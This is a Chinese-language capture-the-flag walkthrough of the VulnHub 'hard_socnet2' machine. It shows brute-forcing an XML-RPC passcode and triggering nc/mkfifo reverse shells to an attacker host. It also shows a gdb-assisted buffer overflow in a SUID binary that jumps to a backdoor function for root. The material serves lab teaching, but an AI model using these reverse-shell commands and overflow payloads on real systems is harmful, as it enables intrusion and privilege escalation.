1. 程式人生 > 其它 >第八次打靶-2

第八次打靶-2

靶機介紹

1)靶機地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

2)靶機難度:高

3)打靶目標: 取得 root 許可權

4)涉及攻擊方法:主機發現、埠掃描、SQL注入、檔案上傳、蟻劍上線、CVE-2021-3493、XMLRPC、逆向工程、動態除錯、緩衝區溢位、漏洞利用程式碼編寫

5)課程來源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

6)參考連線:https://docs.python.org/zh-cn/3/library/xmlrpc.html

打靶過程:

注:本次打靶過程以前面獲得低許可權的使用者賬號為前提進行提權,但不知道CVE-2021-3493該漏洞

1)資訊蒐集:檢視使用者檔案,是否存在其他使用者,簡單檢視後,發現一個socnet的可以登入的使用者,可猜測為目標應用程式的管理使用者

$ cat /etc/passwd |grep /bin/bash

2)資訊蒐集:檢視到socnet使用者加目錄下存在三個檔案。其中monitor.py是在web介面中看到的管理員留言的提到的檔案,該指令碼的作用是監視伺服器的執行狀態,且該指令碼已經在伺服器運行了

$ cd /home/socnet
$ pwd
$ ls
$ ps awx |grep monitor.py

3)檢視monitor.py檔案原始碼,閱讀程式碼,檢視該程式是否存在漏洞

cat monitor.py
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):                   #定義函式
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      #建立一個新的程序,來執行變數cmd,同時啟用一個新的shell在其中執行cmd
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")    #呼叫runcmd函式執行命令

def mem():
    return runcmd("free -m")

def disk():
    return runcmd("df -h")

def net():
    return runcmd("ip a")

def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:         #隨機數debugging_pass和passcode比較,cmd為自定義命令
         return runcmd(cmd)
    else:
        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

XMLRPC:可以利用xmlrpc在伺服器端生成一個伺服器端的API,該API可以接受客戶端同樣使用rpcxml的請求訪問方式,訪問伺服器端的API

官網:https://docs.python.org/zh-cn/3/library/xmlrpc.html

4)通過編寫客戶端程式碼,使其連線服務端程式碼,根據服務端返回請求的判斷結果進行暴力破解,破解出服務端程式碼中的passcode值

①先進行簡單測試:通過指令碼請求了服務端的cpu資訊,服務端接受到cpu請求後,通過其API介面執行了客戶端的請求,查詢到了目標伺服器CPU的資訊

# cat a.py     
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
    print(str(proxy.cpu()))

# python3 a.py

②修改客戶端程式碼,通過暴力破解的方式,把伺服器端的random隨機生成的數字passcode破解出來

# cat b.py 
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
    for p in range(1000,10000):
        r = str(proxy.secure_cmd('whoami',p))
        if not "Wrong" in r:
            print(p)
            print(r)
            break

# python3 b.py            

5)編寫客戶端程式碼,通過上一步暴力破解出的passcode值,使伺服器執行自定義系統命令(此處為反彈shell命令)

①編寫客戶端程式碼

# cat a.py 
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.112:8000/") as proxy:
    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.103 4444 >/tmp/f"
    r = str(proxy.secure_cmd(cmd,7630))
    print(r)

②kali主機進行監聽

# nc -lvvp 4444

③執行客戶端指令碼

# python3 a.py

④將反彈的shell進行一個簡單升級,檢視socnet使用者家目錄下檔案資訊 ,檢視發現檔案add_record是一個32位的可執行程式,而且該程式使用了suid和sgid許可權

$ python -c "import pty;pty.spawn('/bin/bash')"
$ cd /home/socnet
$ ls -l
$ file add_record

peda是一個python gdb動態除錯指令碼,有許多方便的命令來幫助加速利用Linux/Unix上的開發過程。它也是編寫自定義互動式python gdb命令,

思路:使用gdb來除錯add_record程式,跟蹤其記憶體使用情況,檢視是否有記憶體溢位等問題

補充:漏洞挖掘本質:

​ 所有應用程式的漏洞挖掘方法原理都是一樣的,一個web應用程式,防止在遠端伺服器,對其進行攻擊、注入的具體方法是向這個程式所有的資料提交點提交一些異常的資料,讓程式在處理這些payload時產生一些意想不到的異常,最終使得我們可以獲取到一個反彈shell.

​ 如果面對的是一個本機上執行的普通的應用程式,針對該程式進行漏洞挖掘的思路和針對web應用程式漏洞挖掘的思路是一樣的。首先,需要找到應用程式的攻擊面(即向該程式資料提交的入口點),針對各個入口點,嘗試payload的注入。

6)先對add_record程式進行漏洞挖掘,先需要知道該程式具有哪些資料提交的入口點

①先執行應用程式add_record,執行程式後,需要輸入一些資料,輸入的資料最後會生成在一個檔案中

$ ./add_record

②再次執行應用程式,此處輸入trouble數量為1,發現需要輸入描述資訊,同時本次新增的資料也會追加至employee_records.txt檔案中

7)可以發現,name、worked、salary、trouble、explain都是可以提交資料的入口點,按個對上述入口點進行資料提交,測試是否存在記憶體溢位的漏洞

補充:gdb是一個程式的動態除錯工具,通過該除錯工具,可以跟蹤和監視在程式在執行過程中計算機所有暫存器、堆疊、記憶體使用情況、函式呼叫的跟蹤判斷。發現在那次資料提交過程中,會造成記憶體資料的溢位。

$ gdb -q ./add_record
gdb-peda$ r                  #正式的去載入,執行程式,上一步只是程式被直譯器所呼叫

記憶體溢位相應測試技巧:向每一個數據的提交位置,輸入大量的A,通過這種方法去監視記憶體的變化,如果這個時候該變數存在快取區漏洞,導致了記憶體溢位,覆蓋到了其他的暫存器位置,那麼就可以通過判斷其他暫存器中的資料是否全是A,這種現象來判斷注入的資料是否成功的溢位到了其他暫存器,進而通過進一步探測,成功的去利用及修改暫存器中具體位置的具體值來實現最終程式碼的載入執行

①先通過python生成500個A

# python -c "print('A'*500)"

②執行以後發現程式被退出了,沒有發現任何的程式溢位的情況。可以初步判斷,該位置並沒有記憶體溢位漏洞

③按照上述方法,直到輸入到explain變數時,看到堆疊中出現了大量的A,通過該顯示,可以確定explain變數沒有做記憶體範圍的限定,導致500個A被溢位,覆蓋到了記憶體中其他的位置,導致堆疊中出現了大量的A

注:在快取區溢位漏洞中,需重點關注ELP暫存器,因為ELP暫存器中儲存的資料,是CPU接下來要去執行的下一條指令所對應的記憶體地址的編號,所以需要判斷出,ELP中對應的AAAA是500個A中的具體哪幾個A。當判斷出ELP中的4個A在500個A中的具體位置,就可以知道,當注入第多少個字元時,字元會被精準的覆蓋到ELP暫存器中,然後就可在該位置放置payload程式所對應的記憶體地址,然後去執行反彈shell,獲取目標系統最高許可權

④逐漸縮小,注入的字元的數量個數,發現注入100個A時,同樣會造成溢位

# python -c "print('A'*100)"

⑤生成一串特徵字元,幫助我們去識別AAAA在500個字元的哪個位置(每4個字元都不相同)

$ pattern create 100

⑥通過gdb除錯工具,自動去識別AHAA在具體哪個位置,可以發現EIP暫存器的偏移量位置為62,即從63個字元開始,就會進入到EIP暫存器中

$ pattern search

⑦生成62個佔位符,並生成一串字元,確定BCDE會被注入到EIP暫存器中

# python -c "print('A'*62 + 'BCDE')"

8)此時可精準的向EIP暫存器中寫入我們想要寫入的任何資料,此時

①發現漏洞具體過程:先對應用程式進行了彙編程式碼的檢視

$ disas main

補充:一個程式執行時,CPU會對其分配記憶體地址,在記憶體地址中載入指令、存放資料,進行資料的處理,再把運算的結果輸出

Dump of assembler code for function main:
   0x080486d8 <+0>:	lea    ecx,[esp+0x4]
   0x080486dc <+4>:	and    esp,0xfffffff0
   0x080486df <+7>:	push   DWORD PTR [ecx-0x4]
   0x080486e2 <+10>:	push   ebp
   0x080486e3 <+11>:	mov    ebp,esp
   0x080486e5 <+13>:	push   edi
   0x080486e6 <+14>:	push   esi
   0x080486e7 <+15>:	push   ebx
   0x080486e8 <+16>:	push   ecx
   0x080486e9 <+17>:	sub    esp,0xa8
   0x080486ef <+23>:	call   0x80485b0 <__x86.get_pc_thunk.bx>
   0x080486f4 <+28>:	add    ebx,0x1654
   0x080486fa <+34>:	mov    DWORD PTR [ebp-0xac],0x414e
   0x08048704 <+44>:	lea    edx,[ebp-0xa8]
   0x0804870a <+50>:	mov    eax,0x0
   0x0804870f <+55>:	mov    ecx,0x18
   0x08048714 <+60>:	mov    edi,edx
   0x08048716 <+62>:	rep stos DWORD PTR es:[edi],eax
   0x08048718 <+64>:	sub    esp,0x8
   0x0804871b <+67>:	lea    eax,[ebx-0x13ee]
   0x08048721 <+73>:	push   eax
   0x08048722 <+74>:	lea    eax,[ebx-0x13ec]
   0x08048728 <+80>:	push   eax
   0x08048729 <+81>:	call   0x8048520 <fopen@plt>   //呼叫函式,fopen表示開啟檔案,@plt表示是內嵌函式,顯示程式歡迎提示資訊
   0x0804872e <+86>:	add    esp,0x10
   0x08048731 <+89>:	mov    DWORD PTR [ebp-0x1c],eax
   0x08048734 <+92>:	sub    esp,0xc
   0x08048737 <+95>:	lea    eax,[ebx-0x13d4]
   0x0804873d <+101>:	push   eax
   0x0804873e <+102>:	call   0x80484e0 <puts@plt>   //
   0x08048743 <+107>:	add    esp,0x10
   0x08048746 <+110>:	sub    esp,0xc
   0x08048749 <+113>:	lea    eax,[ebx-0x137c]
   0x0804874f <+119>:	push   eax
   0x08048750 <+120>:	call   0x8048480 <printf@plt>       //call表示函式呼叫,表示輸入使用者名稱
   0x08048755 <+125>:	add    esp,0x10
   0x08048758 <+128>:	mov    eax,DWORD PTR [ebx-0x4]
   0x0804875e <+134>:	mov    eax,DWORD PTR [eax]
   0x08048760 <+136>:	sub    esp,0x4
   0x08048763 <+139>:	push   eax
   0x08048764 <+140>:	push   0x19
   0x08048766 <+142>:	lea    eax,[ebp-0x39]
   0x08048769 <+145>:	push   eax
   0x0804876a <+146>:	call   0x80484b0 <fgets@plt>
   0x0804876f <+151>:	add    esp,0x10
   0x08048772 <+154>:	sub    esp,0xc
   0x08048775 <+157>:	lea    eax,[ebx-0x1366]
   0x0804877b <+163>:	push   eax
   0x0804877c <+164>:	call   0x8048480 <printf@plt>   //輸入工作年限
   0x08048781 <+169>:	add    esp,0x10
   0x08048784 <+172>:	sub    esp,0x8
   0x08048787 <+175>:	lea    eax,[ebp-0x40]
   0x0804878a <+178>:	push   eax
   0x0804878b <+179>:	lea    eax,[ebx-0x1352]
   0x08048791 <+185>:	push   eax
   0x08048792 <+186>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048797 <+191>:	add    esp,0x10
   0x0804879a <+194>:	sub    esp,0xc
   0x0804879d <+197>:	lea    eax,[ebx-0x134f]
   0x080487a3 <+203>:	push   eax
   0x080487a4 <+204>:	call   0x8048480 <printf@plt>   #輸入工資
   0x080487a9 <+209>:	add    esp,0x10
   0x080487ac <+212>:	sub    esp,0x8
   0x080487af <+215>:	lea    eax,[ebp-0x44]
   0x080487b2 <+218>:	push   eax
   0x080487b3 <+219>:	lea    eax,[ebx-0x1352]
   0x080487b9 <+225>:	push   eax
   0x080487ba <+226>:	call   0x8048540 <__isoc99_scanf@plt>
   0x080487bf <+231>:	add    esp,0x10
   0x080487c2 <+234>:	sub    esp,0xc
   0x080487c5 <+237>:	lea    eax,[ebx-0x1340]
   0x080487cb <+243>:	push   eax
   0x080487cc <+244>:	call   0x8048480 <printf@plt> #輸入
   0x080487d1 <+249>:	add    esp,0x10
   0x080487d4 <+252>:	sub    esp,0x8
   0x080487d7 <+255>:	lea    eax,[ebp-0x48]
   0x080487da <+258>:	push   eax
   0x080487db <+259>:	lea    eax,[ebx-0x1352]
   0x080487e1 <+265>:	push   eax
   0x080487e2 <+266>:	call   0x8048540 <__isoc99_scanf@plt>
   0x080487e7 <+271>:	add    esp,0x10
   0x080487ea <+274>:	call   0x80484a0 <getchar@plt>
   0x080487ef <+279>:	mov    DWORD PTR [ebp-0x20],eax
   0x080487f2 <+282>:	cmp    DWORD PTR [ebp-0x20],0xa
   0x080487f6 <+286>:	je     0x80487fe <main+294>
   0x080487f8 <+288>:	cmp    DWORD PTR [ebp-0x20],0xffffffff
   0x080487fc <+292>:	jne    0x80487ea <main+274>
   0x080487fe <+294>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048801 <+297>:	cmp    eax,0x1
   0x08048804 <+300>:	jne    0x804883c <main+356>
   0x08048806 <+302>:	sub    esp,0xc
   0x08048809 <+305>:	lea    eax,[ebx-0x1317]
   0x0804880f <+311>:	push   eax
   0x08048810 <+312>:	call   0x8048480 <printf@plt>
   0x08048815 <+317>:	add    esp,0x10
   0x08048818 <+320>:	sub    esp,0xc
   0x0804881b <+323>:	lea    eax,[ebp-0xac]
   0x08048821 <+329>:	push   eax
   0x08048822 <+330>:	call   0x8048490 <gets@plt>
   0x08048827 <+335>:	add    esp,0x10
   0x0804882a <+338>:	sub    esp,0xc
   0x0804882d <+341>:	lea    eax,[ebp-0xac]
   0x08048833 <+347>:	push   eax
   0x08048834 <+348>:	call   0x80486ad <vuln>   //呼叫自定義函式vuln
   0x08048839 <+353>:	add    esp,0x10
   0x0804883c <+356>:	sub    esp,0xc
   0x0804883f <+359>:	lea    eax,[ebx-0x130d]
   0x08048845 <+365>:	push   eax
   0x08048846 <+366>:	call   0x80484e0 <puts@plt>
   0x0804884b <+371>:	add    esp,0x10
   0x0804884e <+374>:	mov    ecx,DWORD PTR [ebp-0x48]
   0x08048851 <+377>:	mov    edx,DWORD PTR [ebp-0x44]
   0x08048854 <+380>:	mov    eax,DWORD PTR [ebp-0x40]
   0x08048857 <+383>:	sub    esp,0x8
   0x0804885a <+386>:	lea    esi,[ebp-0xac]
   0x08048860 <+392>:	push   esi
   0x08048861 <+393>:	push   ecx
   0x08048862 <+394>:	push   edx
   0x08048863 <+395>:	push   eax
   0x08048864 <+396>:	lea    eax,[ebp-0x39]
   0x08048867 <+399>:	push   eax
   0x08048868 <+400>:	lea    eax,[ebx-0x12ec]
   0x0804886e <+406>:	push   eax
   0x0804886f <+407>:	call   0x8048480 <printf@plt>
   0x08048874 <+412>:	add    esp,0x20
   0x08048877 <+415>:	mov    ecx,DWORD PTR [ebp-0x48]
   0x0804887a <+418>:	mov    edx,DWORD PTR [ebp-0x44]
   0x0804887d <+421>:	mov    eax,DWORD PTR [ebp-0x40]
   0x08048880 <+424>:	sub    esp,0x4
   0x08048883 <+427>:	lea    esi,[ebp-0xac]
   0x08048889 <+433>:	push   esi
   0x0804888a <+434>:	push   ecx
   0x0804888b <+435>:	push   edx
   0x0804888c <+436>:	push   eax
   0x0804888d <+437>:	lea    eax,[ebp-0x39]
   0x08048890 <+440>:	push   eax
   0x08048891 <+441>:	lea    eax,[ebx-0x12ec]
   0x08048897 <+447>:	push   eax
   0x08048898 <+448>:	push   DWORD PTR [ebp-0x1c]
   0x0804889b <+451>:	call   0x8048510 <fprintf@plt>
   0x080488a0 <+456>:	add    esp,0x20
   0x080488a3 <+459>:	sub    esp,0xc
   0x080488a6 <+462>:	push   DWORD PTR [ebp-0x1c]
   0x080488a9 <+465>:	call   0x80484c0 <fclose@plt>
   0x080488ae <+470>:	add    esp,0x10
   0x080488b1 <+473>:	mov    eax,0x0
   0x080488b6 <+478>:	lea    esp,[ebp-0x10]
   0x080488b9 <+481>:	pop    ecx
   0x080488ba <+482>:	pop    ebx
   0x080488bb <+483>:	pop    esi
   0x080488bc <+484>:	pop    edi
   0x080488bd <+485>:	pop    ebp
   0x080488be <+486>:	lea    esp,[ecx-0x4]
   0x080488c1 <+489>:	ret    
End of assembler dump.

②使用下斷點的方式,對彙編程式碼進行除錯

gdb-peda$ break *0x0804873d      #地址前需要加*
gdb-peda$ r
gdb-peda$ s         #s表示單步執行,每次執行一個CPU的指令

下圖表示,下一步將執行call執行

單步執行,發現堆疊中資料發生了變化,顯示了程式第一次執行時,所顯示的資訊

③刪除斷點,重新設定斷點

gdb-peda$ del 1
gdb-peda$ break *0x0804877b
gdb-peda$ r

逐個按照上述方法,可以理清程式邏輯

9)根據上述程式碼分析,發現了一個自定義的vuln函式,根據函式名稱,檢視該函式具體的功能

①先檢視當前應用程式,所有的函式(包括內嵌函式和自定義函式)

gdb-peda$ info func
0x080484f0  system@plt
0x08048500  __libc_start_main@plt
0x08048510  fprintf@plt
0x08048520  fopen@plt
0x08048530  setuid@plt
0x08048676  backdoor
0x080486ad  vuln
0x080486d8  main

system函式:用於執行作業系統的某些指令

setuid函式:說明該程式中,呼叫了setuid函式,申請了系統許可權,結合前面add_record程式就具備suid許可權,說明就是通過該函式呼叫了系統許可權

②檢視vuln函式中,執行了哪些指令:發現在vuln函式中,又呼叫了strcpy這個作業系統內嵌函式

gdb-peda$ disas vuln

③對strcpy這個作業系統內嵌函式搜尋發現,該函式歷史版本存在已知漏洞:因strcpy函式存在快取區溢位漏洞,又因自定義函式vuln函式呼叫了strcpy函式函式,導致應用程式存在漏洞

④檢視backdoor函式:發現該函式呼叫了setuid函式和system函式

gdb-peda$ disas backdoor

⑤對backdoor函式進行跟蹤,先取得該函式起始位置的記憶體地址,再將該地址寫入ELP暫存器中,即可直接執行backdoor函式,再跟蹤到該函式中的system指令到底執行了哪些系統命令

10)因主程式中只執行了vuln函式,而vuln函式又會呼叫存在緩衝區溢位漏洞的strcpy內嵌函式,但是主函式中沒有直接呼叫backdoor函式,所有必須利用主程式中載入的vuln函式,利用緩衝區漏洞,向EIP暫存器中寫入backdoor函式的起始記憶體載入地址,使其執行backdoor函式,進而執行system函式中的作業系統指令

注意事項:如下圖所示,在EIP暫存器中存放的字元BCDE對應的16進位制數值時,發現地址是倒敘排列的,即B=42、C=43、D=44、E=45,但是地址為0x45444343

所以要想把backdoor函式的起始位置的記憶體地址寫入到EIP暫存器,需要按照顛倒的方式寫入,根據前面檢視,backdoor函式的起始地址為0x08048676

①利用python生成程式需要輸入的字元

# python -c "import struct; print('zdz\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" >payload

②在目標主機,生成payload檔案

socnet@socnet2:~$ python -c "import struct; print('zdz\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" >payload

③將payload檔案一次性的輸入給應用程式

socnet@socnet2:~$ gdb -q ./add_record
gdb-peda$ r < payload

程式執行發現,最後執行了/bin/dash和/bin/bash

11)對vuln函式設定斷點,將payload載入到程式中,一直通過s更進,當一直出現backdoor函式具體執行system函式時進行停止

gdb-peda$ q
socnet@socnet2:~$ gdb -q ./add_record
gdb-peda$ break vuln
gdb-peda$ r < payload
gdb-peda$ s

12)將peyload全部載入只應用程式中,獲取到root許可權

socnet@socnet2:~$ cat payload - | ./add_record

13)可以使用反彈shell的方式在kali獲得一個介面相對友好的shell

kail:
	# nc -lvvp 3333
目標主機shell:
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.103 3333 >/tmp/f